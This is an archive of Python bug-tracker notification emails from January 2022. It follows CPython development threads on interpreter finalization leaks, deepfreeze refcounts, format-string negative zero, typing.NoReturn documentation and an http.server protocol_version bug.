Sat, 22 Jan 2022 21:31:56 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642887116.93.0.73364380606.issue46417@roundup.psfhosted.org> STINNER Victor added the comment: New changeset 621a45ccacd121f9ae4d8a539f040410c74b253b by Victor Stinner in branch 'main': bpo-46417: Py_Finalize() clears static exceptioins (GH-30805) https://github.com/python/cpython/commit/621a45ccacd121f9ae4d8a539f040410c74b253b ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 16:35:29 2022 From: report at bugs.python.org (STINNER Victor) Date: Sat, 22 Jan 2022 21:35:29 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642887329.09.0.978031858344.issue46417@roundup.psfhosted.org> Change by STINNER Victor : ---------- pull_requests: +28994 pull_request: https://github.com/python/cpython/pull/30806 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 16:56:08 2022 From: report at bugs.python.org (STINNER Victor) Date: Sat, 22 Jan 2022 21:56:08 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642888568.96.0.286572786293.issue46417@roundup.psfhosted.org> STINNER Victor added the comment: New changeset 1626bf4ac7aef1244e6f886e63a31f7ed65fbd10 by Victor Stinner in branch 'main': bpo-46417: Clear Unicode static types at exit (GH-30806) https://github.com/python/cpython/commit/1626bf4ac7aef1244e6f886e63a31f7ed65fbd10 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 17:05:04 2022 From: report at bugs.python.org (STINNER Victor) Date: Sat, 22 Jan 2022 22:05:04 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642889104.73.0.221836889176.issue46417@roundup.psfhosted.org> Change by STINNER Victor : ---------- pull_requests: +28995 pull_request: https://github.com/python/cpython/pull/30807 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 17:07:56 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Sat, 22 Jan 2022 22:07:56 +0000 Subject: [issue41682] [Windows] test_asyncio: Proactor test_sendfile_close_peer_in_the_middle_of_receiving failure In-Reply-To: <1598923449.65.0.107960415995.issue41682@roundup.psfhosted.org> Message-ID: <1642889276.82.0.559015263943.issue41682@roundup.psfhosted.org> Erlend E. Aasland added the comment: Previously, this failure was more sporadic; now it happens almost every single run on the Azure CI. Has there been updates on the Azure CI lately? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 17:08:26 2022 From: report at bugs.python.org (Marcel Martin) Date: Sat, 22 Jan 2022 22:08:26 +0000 Subject: [issue46375] io.BytesIO does not have peek() In-Reply-To: <1642156764.85.0.265737268073.issue46375@roundup.psfhosted.org> Message-ID: <1642889306.15.0.370726698533.issue46375@roundup.psfhosted.org> Change by Marcel Martin : ---------- keywords: +patch pull_requests: +28996 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30808 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 17:08:29 2022 From: report at bugs.python.org (Marcel Martin) Date: Sat, 22 Jan 2022 22:08:29 +0000 Subject: [issue46375] io.BytesIO does not have peek() In-Reply-To: <1642156764.85.0.265737268073.issue46375@roundup.psfhosted.org> Message-ID: <1642889309.54.0.706885273999.issue46375@roundup.psfhosted.org> Marcel Martin added the comment: I opened a PR, but I now wonder whether the missing peek() is by design. First, I noticed that instead of using BytesIO directly, I can wrap the instance in an io.BufferedReader, which does have peek(). (It?s just a bit inconvenient.) The second thing is that BytesIO is currently documented to inherit from BufferedIOBase, but if peek() is implemented, one could argue that BytesIO now should inherit from BufferedReader because it then has all the methods. And that seems to great a change from my perspective. I?ll defer to someone more knowledgeable and do not mind at all if this issue is closed without action. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 17:17:16 2022 From: report at bugs.python.org (Eric V. Smith) Date: Sat, 22 Jan 2022 22:17:16 +0000 Subject: [issue45995] string formatting: normalize negative zero In-Reply-To: <1638792226.95.0.292604366656.issue45995@roundup.psfhosted.org> Message-ID: <1642889836.71.0.384351509675.issue45995@roundup.psfhosted.org> Eric V. Smith added the comment: Wow, thanks, Mark! I'm generally in favor. The selling points to me are that it needs to happen post-rounding, and the C++ discussion. It would be better if this were already accepted in C++. I'll note that the paper is proposing a 'z' modifier to the sign, so I guess for us that would translate to: [sign[optional-z]] instead of just sign. I'd have to noodle through the differences between that the proposed [sign][~]. I guess this would all be worked out in a PEP. My only reservation is Mark's comment: """For Decimal, we'd need to "own" the string formatting, taking that responsibility away from mpdecimal, but there are already other reasons to do that.""" If Mark is okay with that (right back at you, Mark!), then I think a PEP is the next step. It doesn't need to be huge, sort of like PEP 378. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 17:22:37 2022 From: report at bugs.python.org (STINNER Victor) Date: Sat, 22 Jan 2022 22:22:37 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642890157.79.0.657206483791.issue46417@roundup.psfhosted.org> STINNER Victor added the comment: New changeset 9c8e490b8f9e40a6fe9815be58bacaecab5369ee by Victor Stinner in branch 'main': bpo-46417: Clear _io module static objects at exit (GH-30807) https://github.com/python/cpython/commit/9c8e490b8f9e40a6fe9815be58bacaecab5369ee ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 17:25:04 2022 From: report at bugs.python.org (STINNER Victor) Date: Sat, 22 Jan 2022 22:25:04 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642890304.44.0.744962957253.issue46417@roundup.psfhosted.org> Change by STINNER Victor : ---------- pull_requests: +28997 pull_request: https://github.com/python/cpython/pull/30809 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 17:33:23 2022 From: report at bugs.python.org (STINNER Victor) Date: Sat, 22 Jan 2022 22:33:23 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642890803.58.0.84048176639.issue46417@roundup.psfhosted.org> Change by STINNER Victor : ---------- pull_requests: +28998 pull_request: https://github.com/python/cpython/pull/30810 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 17:48:21 2022 From: report at bugs.python.org (Jelle Zijlstra) Date: Sat, 22 Jan 2022 22:48:21 +0000 Subject: [issue46475] Document use of NoReturn as a bottom type Message-ID: <1642891701.69.0.92347893734.issue46475@roundup.psfhosted.org> New submission from Jelle Zijlstra : At the moment, https://docs.python.org/3.10/library/typing.html#typing.NoReturn simply says: Special type indicating that a function never returns. In practice, type checkers accept NoReturn as a bottom type in other positions too. We should document this behavior. ---------- assignee: Jelle Zijlstra messages: 411297 nosy: AlexWaygood, Jelle Zijlstra, gvanrossum, kj, sobolevn priority: normal severity: normal status: open title: Document use of NoReturn as a bottom type _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 17:48:28 2022 From: report at bugs.python.org (Jelle Zijlstra) Date: Sat, 22 Jan 2022 22:48:28 +0000 Subject: [issue46475] Document use of NoReturn as a bottom type In-Reply-To: <1642891701.69.0.92347893734.issue46475@roundup.psfhosted.org> Message-ID: <1642891708.45.0.232480008492.issue46475@roundup.psfhosted.org> Change by Jelle Zijlstra : ---------- components: +Library (Lib) versions: +Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 17:50:33 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Sat, 22 Jan 2022 22:50:33 +0000 Subject: [issue44642] Union of a type and the typing module function In-Reply-To: <1626335898.92.0.441498587725.issue44642@roundup.psfhosted.org> Message-ID: <1642891833.35.0.680861842912.issue44642@roundup.psfhosted.org> Nikita Sobolev added the comment: It does not happen anymore on `main` (3.11): ``` Python 3.11.0a4+ (heads/main-dirty:ef3ef6fa43, Jan 20 2022, 20:48:25) [Clang 11.0.0 (clang-1100.0.33.16)] on darwin Type "help", "copyright", "credits" or "license" for more information. >>> import typing >>> int | typing.cast Traceback (most recent call last): File "", line 1, in TypeError: unsupported operand type(s) for |: 'type' and 'function' >>> int | typing.get_type_hints Traceback (most recent call last): File "", line 1, in TypeError: unsupported operand type(s) for |: 'type' and 'function' ``` ---------- nosy: +sobolevn _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 17:52:34 2022 From: report at bugs.python.org (STINNER Victor) Date: Sat, 22 Jan 2022 22:52:34 +0000 Subject: [issue41682] [Windows] test_asyncio: Proactor test_sendfile_close_peer_in_the_middle_of_receiving failure In-Reply-To: <1598923449.65.0.107960415995.issue41682@roundup.psfhosted.org> Message-ID: <1642891954.39.0.487644456494.issue41682@roundup.psfhosted.org> STINNER Victor added the comment: New changeset 1ded8ed8e817b8f9dae1a0ef92d97983afbc844e by Nikita Sobolev in branch 'main': bpo-41682: Skip unstable test_asyncio sendfile test on Windows (GH-30801) https://github.com/python/cpython/commit/1ded8ed8e817b8f9dae1a0ef92d97983afbc844e ---------- nosy: +vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 17:53:03 2022 From: report at bugs.python.org (miss-islington) Date: Sat, 22 Jan 2022 22:53:03 +0000 Subject: [issue41682] [Windows] test_asyncio: Proactor test_sendfile_close_peer_in_the_middle_of_receiving failure In-Reply-To: <1598923449.65.0.107960415995.issue41682@roundup.psfhosted.org> Message-ID: <1642891983.98.0.501406124839.issue41682@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 11.0 -> 12.0 pull_requests: +28999 pull_request: https://github.com/python/cpython/pull/30811 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 17:53:09 2022 From: report at bugs.python.org (miss-islington) Date: Sat, 22 Jan 2022 22:53:09 +0000 Subject: [issue41682] [Windows] test_asyncio: Proactor test_sendfile_close_peer_in_the_middle_of_receiving failure In-Reply-To: <1598923449.65.0.107960415995.issue41682@roundup.psfhosted.org> Message-ID: <1642891989.29.0.803459929935.issue41682@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +29000 pull_request: https://github.com/python/cpython/pull/30812 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 17:57:00 2022 From: report at bugs.python.org (STINNER Victor) Date: Sat, 22 Jan 2022 22:57:00 +0000 Subject: [issue46454] '0 -> /dev/null' is lost In-Reply-To: <1642766153.46.0.556791990474.issue46454@roundup.psfhosted.org> Message-ID: <1642892220.58.0.720316745909.issue46454@roundup.psfhosted.org> Change by STINNER Victor : ---------- nosy: -vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 17:57:33 2022 From: report at bugs.python.org (STINNER Victor) Date: Sat, 22 Jan 2022 22:57:33 +0000 Subject: [issue46465] Regression caused by CALL_FUNCTION specialization for C function calls In-Reply-To: <1642815009.1.0.251080855194.issue46465@roundup.psfhosted.org> Message-ID: <1642892253.71.0.584944957161.issue46465@roundup.psfhosted.org> Change by STINNER Victor : ---------- title: test_unittest: TestBreakSignalDefault.testInstallHandler() fails if run after TestBreak -> Regression caused by CALL_FUNCTION specialization for C function calls _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 18:07:06 2022 From: report at bugs.python.org (STINNER Victor) Date: Sat, 22 Jan 2022 23:07:06 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642892826.09.0.497449710349.issue46417@roundup.psfhosted.org> STINNER Victor added the comment: New changeset 12f4ac3bc848244242d6b8a7ee158b985fd64744 by Victor Stinner in branch 'main': bpo-46417: Clear symtable identifiers at exit (GH-30809) https://github.com/python/cpython/commit/12f4ac3bc848244242d6b8a7ee158b985fd64744 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 18:12:44 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Sat, 22 Jan 2022 23:12:44 +0000 Subject: [issue46475] Document use of NoReturn as a bottom type In-Reply-To: <1642891701.69.0.92347893734.issue46475@roundup.psfhosted.org> Message-ID: <1642893164.68.0.885745497303.issue46475@roundup.psfhosted.org> Nikita Sobolev added the comment: I agree. Plus, I cannot refrain from saying that it is generally quite hard to teach what "NoReturn" is. I start by explaining what bottom type and `void` is and then just say that in Python it is called `NoReturn`. I remember that there was a discussion about `Never` alias for it. Jelle, will you please push it? :) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 18:18:50 2022 From: report at bugs.python.org (John Belmonte) Date: Sat, 22 Jan 2022 23:18:50 +0000 Subject: [issue45995] string formatting: normalize negative zero In-Reply-To: <1638792226.95.0.292604366656.issue45995@roundup.psfhosted.org> Message-ID: <1642893530.85.0.236420866355.issue45995@roundup.psfhosted.org> John Belmonte added the comment: Thank you Mark and Eric. > I'll note that the paper is proposing a 'z' modifier to the sign, so I guess for us that would translate to: [sign[optional-z]] instead of just sign. I'd have to noodle through the differences between that the proposed [sign][~]. The C++ paper proposes [sign][z] (i.e. you can have the `z` alone without an explicit +/-), and this is what I implemented in the Python PR. My original proposal with tilde was discarded. > My only reservation is Mark's comment: """For Decimal, we'd need to "own" the string formatting, taking that responsibility away from mpdecimal, but there are already other reasons to do that.""" In the PR I was able to avoid taking that on by preprocessing the format string before handing it to mpdecimal. The code was already doing such things to handle the NULL fill character. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 18:32:15 2022 From: report at bugs.python.org (STINNER Victor) Date: Sat, 22 Jan 2022 23:32:15 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642894335.67.0.0455165041424.issue46417@roundup.psfhosted.org> STINNER Victor added the comment: New changeset a1444f43584af0f7a0af72aa06ba0a86ae5a87a2 by Victor Stinner in branch 'main': bpo-46417: Fix _PyStaticType_Dealloc() (GH-30810) https://github.com/python/cpython/commit/a1444f43584af0f7a0af72aa06ba0a86ae5a87a2 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 18:33:49 2022 From: report at bugs.python.org (STINNER Victor) Date: Sat, 22 Jan 2022 23:33:49 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642894429.18.0.414555460466.issue46417@roundup.psfhosted.org> STINNER Victor added the comment: The _PyStaticType_Dealloc() function cannot call PyObject_ClearWeakRefs() if the refcount is not zero. I am not sure if it's a real issue or not. Maybe the weakref list must be cleared (release memory), but callbacks must not be called? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 18:34:12 2022 From: report at bugs.python.org (STINNER Victor) Date: Sat, 22 Jan 2022 23:34:12 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642894452.98.0.105269495617.issue46417@roundup.psfhosted.org> STINNER Victor added the comment: cannot_deallocate2.patch: updated patch to debug which types are not cleared at exit. ---------- Added file: https://bugs.python.org/file50577/cannot_deallocate2.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 18:37:38 2022 From: report at bugs.python.org (Bader Zaidan) Date: Sat, 22 Jan 2022 23:37:38 +0000 Subject: [issue46421] unittest ValueError when invoking as module In-Reply-To: <1642462502.0.0.0134332485819.issue46421@roundup.psfhosted.org> Message-ID: <1642894658.72.0.513191202593.issue46421@roundup.psfhosted.org> Change by Bader Zaidan : ---------- versions: +Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 18:40:45 2022 From: report at bugs.python.org (=?utf-8?q?=C3=89ric_Araujo?=) Date: Sat, 22 Jan 2022 23:40:45 +0000 Subject: [issue46436] Pass the -d/--directory command-line option to http.server.CGIHTTPRequestHandler In-Reply-To: <1642613980.51.0.0570385311323.issue46436@roundup.psfhosted.org> Message-ID: <1642894845.44.0.749977819879.issue46436@roundup.psfhosted.org> ?ric Araujo added the comment: The use of partial may cause bugs! Here is reported that the `protocol` parameter (of the `test` function) is ignored because it?s set on the partial object instead of the handler class: https://bugs.python.org/issue46285 ---------- nosy: +eric.araujo _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 18:41:40 2022 From: report at bugs.python.org (STINNER Victor) Date: Sat, 22 Jan 2022 23:41:40 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642894900.48.0.511979238775.issue46417@roundup.psfhosted.org> STINNER Victor added the comment: > New changeset a1444f43584af0f7a0af72aa06ba0a86ae5a87a2 by Victor Stinner in branch 'main': > bpo-46417: Fix _PyStaticType_Dealloc() (GH-30810) > https://github.com/python/cpython/commit/a1444f43584af0f7a0af72aa06ba0a86ae5a87a2 At this commit, Py_Finalize() no longer leaks references. It exceeded my expectations, it even makes _Py_RefTotal negative :-D $ ./python -I -X showrefcount -c pass [-4 refs, 61 blocks] I'm not sure why it's negative, but bpo-46449 should be investigate first. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 18:45:49 2022 From: report at bugs.python.org (STINNER Victor) Date: Sat, 22 Jan 2022 23:45:49 +0000 Subject: [issue46449] Deep-freezed modules create inconsistency in sys.gettotalrefcount() (_Py_Reftotal) In-Reply-To: <1642734126.76.0.617739526871.issue46449@roundup.psfhosted.org> Message-ID: <1642895149.74.0.431928889619.issue46449@roundup.psfhosted.org> STINNER Victor added the comment: Is there a way to disable deepfreeze when building Python? It makes the Python build way slower. For example, a full build (after "make clean") of Python 3.10 takes 14.9 seconds on my laptop, whereas Python 3.11 takes 24.6 seconds (1.6x slower). It makes my workflow (trial-and-error based ;-)) less efficient. Moreover, I would like to disable it to investigate why _Py_RefTotal is now negative at Python exit: https://bugs.python.org/issue46417#msg411307 Note: I pushed many changes in bpo-46417 to clear static types and a few "static" objects at Python exit (in Py_Finalize()). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 18:48:29 2022 From: report at bugs.python.org (Alex Waygood) Date: Sat, 22 Jan 2022 23:48:29 +0000 Subject: [issue46475] Document use of NoReturn as a bottom type In-Reply-To: <1642891701.69.0.92347893734.issue46475@roundup.psfhosted.org> Message-ID: <1642895309.59.0.328688967021.issue46475@roundup.psfhosted.org> Alex Waygood added the comment: I also agree that documenting this is a great idea. It's already been adopted by large swathes of the typing community for use in this context. The value of having NoReturn act as a "bottom type" is evident. Time to make it official, in my opinion. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 19:01:07 2022 From: report at bugs.python.org (=?utf-8?q?=C3=89ric_Araujo?=) Date: Sun, 23 Jan 2022 00:01:07 +0000 Subject: [issue46285] protocol_version in http.server.test can be ignored In-Reply-To: <1641494361.52.0.586828537376.issue46285@roundup.psfhosted.org> Message-ID: <1642896067.89.0.0787572906381.issue46285@roundup.psfhosted.org> ?ric Araujo added the comment: I think we have a valid bug, and you correctly attributed it to the use of partial! (No worry about your English ? thank you for reporting the problem here!) To answer your questions: 1) partial: Imagine we have a function with many parameters: def frob(source, target, backup=False): ... and we want to call it many times without passing backup=True every time; we can make a lambda: frob_backup = lambda source, target: frob(source, target, backup=True) # later in the file frob_backup(src1, tgt1) frob_backup(src2, tgt2) or a partial: frob_backup = partial(frob, backup=True) # then frob_backup(src3, tgt3) As you can see, they both work in the same way. They are equivalent ways of making a shortcut to call a function with some parameters pre-defined. When called, the lambda will call the frob function and return its return value. When called, the partial object will call the frob function and return its return value. 2) closures: Closures are variables that are resolved in the parent scope (namespace) of the normal scope. A function (including a function created by a lambda) can have closures. def make_callback(backup_default): callback = lambda source, target: frob(source, target, backup_default) return callback Here when callback is called, the backup_default variable is not found in the local variables of the callback function, but in the scope of make_callback. It will be true or false depending on how make_callback was called. 3) http.server.test There aren?t any closures in http.server.test; the issue is that HandlerClass (defined in the `if name is main` block and passed to `test`) is a proper handler class in one case, or a partial object! So inside test, setting attributes on the passed handler class will do nothing if that class is actually a partial instance. When it is called, it will return an instance of SimpleHttpRequestHandler, which won?t see the protocol attribute that we wanted. Conclusion: - maybe we should pass all parameters to test instead of smuggling through params - setting class attributes seems fishy to me - cgi handler and regular handler should have the same features (see #46436) ---------- nosy: +Jelle Zijlstra resolution: not a bug -> stage: resolved -> needs patch status: closed -> open title: http/server.py wont respect its protocol_version -> protocol_version in http.server.test can be ignored versions: +Python 3.10, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 19:01:37 2022 From: report at bugs.python.org (=?utf-8?q?=C3=89ric_Araujo?=) Date: Sun, 23 Jan 2022 00:01:37 +0000 Subject: [issue46285] protocol_version in http.server.test can be ignored In-Reply-To: <1641494361.52.0.586828537376.issue46285@roundup.psfhosted.org> Message-ID: <1642896097.77.0.214799829185.issue46285@roundup.psfhosted.org> Change by ?ric Araujo : ---------- nosy: +maggyero, matrixise _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 19:06:27 2022 From: report at bugs.python.org (STINNER Victor) Date: Sun, 23 Jan 2022 00:06:27 +0000 Subject: [issue1635741] Py_Finalize() doesn't clear all Python objects at exit Message-ID: <1642896387.21.0.571290415488.issue1635741@roundup.psfhosted.org> STINNER Victor added the comment: My work on bpo-46417 reduces the number of leak references from around 10k to ... minus 4 references :-) Clearing static types and a few "static" objects helped a lot! > New changeset a1444f43584af0f7a0af72aa06ba0a86ae5a87a2 by Victor Stinner in branch 'main': > bpo-46417: Fix _PyStaticType_Dealloc() (GH-30810) > https://github.com/python/cpython/commit/a1444f43584af0f7a0af72aa06ba0a86ae5a87a2 At commit a1444f43584af0f7a0af72aa06ba0a86ae5a87a2, I get: $ ./python -I -X showrefcount -c pass [-4 refs, 61 blocks] I have to investigate why it's negative. It may be caused by bpo-46449 issue. See also: https://bugs.python.org/issue46417#msg411307 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 19:20:02 2022 From: report at bugs.python.org (Irit Katriel) Date: Sun, 23 Jan 2022 00:20:02 +0000 Subject: [issue33936] OPENSSL_VERSION_1_1 never defined in _hashopenssl.c In-Reply-To: <1529635821.29.0.56676864532.issue33936@psf.upfronthosting.co.za> Message-ID: <1642897202.18.0.451818382782.issue33936@roundup.psfhosted.org> Irit Katriel added the comment: Christian is this fixed? ---------- nosy: +iritkatriel _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 19:20:52 2022 From: report at bugs.python.org (miss-islington) Date: Sun, 23 Jan 2022 00:20:52 +0000 Subject: [issue41682] [Windows] test_asyncio: Proactor test_sendfile_close_peer_in_the_middle_of_receiving failure In-Reply-To: <1598923449.65.0.107960415995.issue41682@roundup.psfhosted.org> Message-ID: <1642897252.52.0.881345589023.issue41682@roundup.psfhosted.org> miss-islington added the comment: New changeset ba932d90244252f6d4073263f25989507a183f79 by Miss Islington (bot) in branch '3.9': bpo-41682: Skip unstable test_asyncio sendfile test on Windows (GH-30801) https://github.com/python/cpython/commit/ba932d90244252f6d4073263f25989507a183f79 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 19:24:36 2022 From: report at bugs.python.org (Irit Katriel) Date: Sun, 23 Jan 2022 00:24:36 +0000 Subject: [issue36257] configure with --with-icc --with-cxx-main=icpc In-Reply-To: <1552249344.2.0.510819308129.issue36257@roundup.psfhosted.org> Message-ID: <1642897476.61.0.869666898126.issue36257@roundup.psfhosted.org> Irit Katriel added the comment: 3.7 is no longer maintained. Please create a new issue if you are having this problem with a current version (>= 3.9). ---------- nosy: +iritkatriel resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 19:27:11 2022 From: report at bugs.python.org (Andrei Kulakov) Date: Sun, 23 Jan 2022 00:27:11 +0000 Subject: [issue45572] urllib.request:AttributeError: 'dict' object has no attribute 'get_all' in http_error_auth_reqed function In-Reply-To: <1634909734.24.0.124969342817.issue45572@roundup.psfhosted.org> Message-ID: <1642897631.68.0.247828173922.issue45572@roundup.psfhosted.org> Change by Andrei Kulakov : ---------- keywords: +patch pull_requests: +29001 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30814 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 19:28:03 2022 From: report at bugs.python.org (Ethan Furman) Date: Sun, 23 Jan 2022 00:28:03 +0000 Subject: [issue40066] Enum: modify __repr__, __str__; update docs In-Reply-To: <1585165738.23.0.618463548627.issue40066@roundup.psfhosted.org> Message-ID: <1642897683.41.0.517617723421.issue40066@roundup.psfhosted.org> Change by Ethan Furman : ---------- status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 19:29:31 2022 From: report at bugs.python.org (STINNER Victor) Date: Sun, 23 Jan 2022 00:29:31 +0000 Subject: [issue46476] Not all memory allocated by _Py_Quicken() is not released at Python exit Message-ID: <1642897771.95.0.216870338714.issue46476@roundup.psfhosted.org> New submission from STINNER Victor : Python leaks around 66 memory blocks at exit. Most of them are allocated by _Py_Quicken() of Python/specialize.c. int _Py_Quicken(PyCodeObject *code) { ... SpecializedCacheOrInstruction *quickened = allocate(entry_count, instr_count); ... code->co_quickened = quickened; ... return 0; } The memory is stored in PyCodeObject.co_quickened member. This member *is* cleared by the code object deallocator function, code_dealloc(): static void code_dealloc(PyCodeObject *co) { ... if (co->co_quickened) { PyMem_Free(co->co_quickened); _Py_QuickenedCount--; } ... } I read recently that deepfreeze creates "immortal" code objects (refcount of 999999999). I guess that it's related. I used Valgrind to look for memory leaked by Python at exit: $ PYTHONMALLOC=malloc valgrind --show-leak-kinds=all --leak-check=full --log-file=valgrind.log --num-callers=50 ./python -c pass Extract of valgrind.log: ==1266888== 5,528 bytes in 13 blocks are still reachable in loss record 33 of 33 ==1266888== at 0x484186F: malloc (vg_replace_malloc.c:381) ==1266888== by 0x544DBC: _PyMem_RawMalloc (obmalloc.c:100) ==1266888== by 0x545B13: PyMem_Malloc (obmalloc.c:618) ==1266888== by 0x6AAE6F: allocate (specialize.c:231) ==1266888== by 0x6AB3F0: _Py_Quicken (specialize.c:420) ==1266888== by 0x622CE7: _Py_IncrementCountAndMaybeQuicken (pycore_code.h:152) ==1266888== by 0x626315: _PyEval_EvalFrameDefault (ceval.c:1792) ==1266888== by 0x622B13: _PyEval_EvalFrame (pycore_ceval.h:53) ==1266888== ... ==1266888== ==1266888== LEAK SUMMARY: ==1266888== definitely lost: 0 bytes in 0 blocks ==1266888== indirectly lost: 0 bytes in 0 blocks ==1266888== possibly lost: 0 bytes in 0 blocks ==1266888== still reachable: 24,240 bytes in 66 blocks ==1266888== suppressed: 0 bytes in 0 blocks See also bpo-46449: "Deep-freezed modules create inconsistency in sys.gettotalrefcount() (_Py_Reftotal)". ---------- components: Interpreter Core messages: 411315 nosy: vstinner priority: normal severity: normal status: open title: Not all memory allocated by _Py_Quicken() is not released at Python exit versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 19:29:44 2022 From: report at bugs.python.org (STINNER Victor) Date: Sun, 23 Jan 2022 00:29:44 +0000 Subject: [issue46476] Not all memory allocated by _Py_Quicken() is not released at Python exit In-Reply-To: <1642897771.95.0.216870338714.issue46476@roundup.psfhosted.org> Message-ID: <1642897784.63.0.206942474698.issue46476@roundup.psfhosted.org> Change by STINNER Victor : ---------- nosy: +Mark.Shannon, eric.snow, gvanrossum _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 19:29:58 2022 From: report at bugs.python.org (STINNER Victor) Date: Sun, 23 Jan 2022 00:29:58 +0000 Subject: [issue46476] Not all memory allocated by _Py_Quicken() is released at Python exit In-Reply-To: <1642897771.95.0.216870338714.issue46476@roundup.psfhosted.org> Message-ID: <1642897798.81.0.759476486224.issue46476@roundup.psfhosted.org> Change by STINNER Victor : ---------- title: Not all memory allocated by _Py_Quicken() is not released at Python exit -> Not all memory allocated by _Py_Quicken() is released at Python exit _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 19:30:11 2022 From: report at bugs.python.org (STINNER Victor) Date: Sun, 23 Jan 2022 00:30:11 +0000 Subject: [issue46449] Deep-freezed modules create inconsistency in sys.gettotalrefcount() (_Py_Reftotal) In-Reply-To: <1642734126.76.0.617739526871.issue46449@roundup.psfhosted.org> Message-ID: <1642897811.13.0.0843819259083.issue46449@roundup.psfhosted.org> STINNER Victor added the comment: See also bpo-46476: "Not all memory allocated by _Py_Quicken() is released at Python exit". ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 19:30:36 2022 From: report at bugs.python.org (STINNER Victor) Date: Sun, 23 Jan 2022 00:30:36 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: 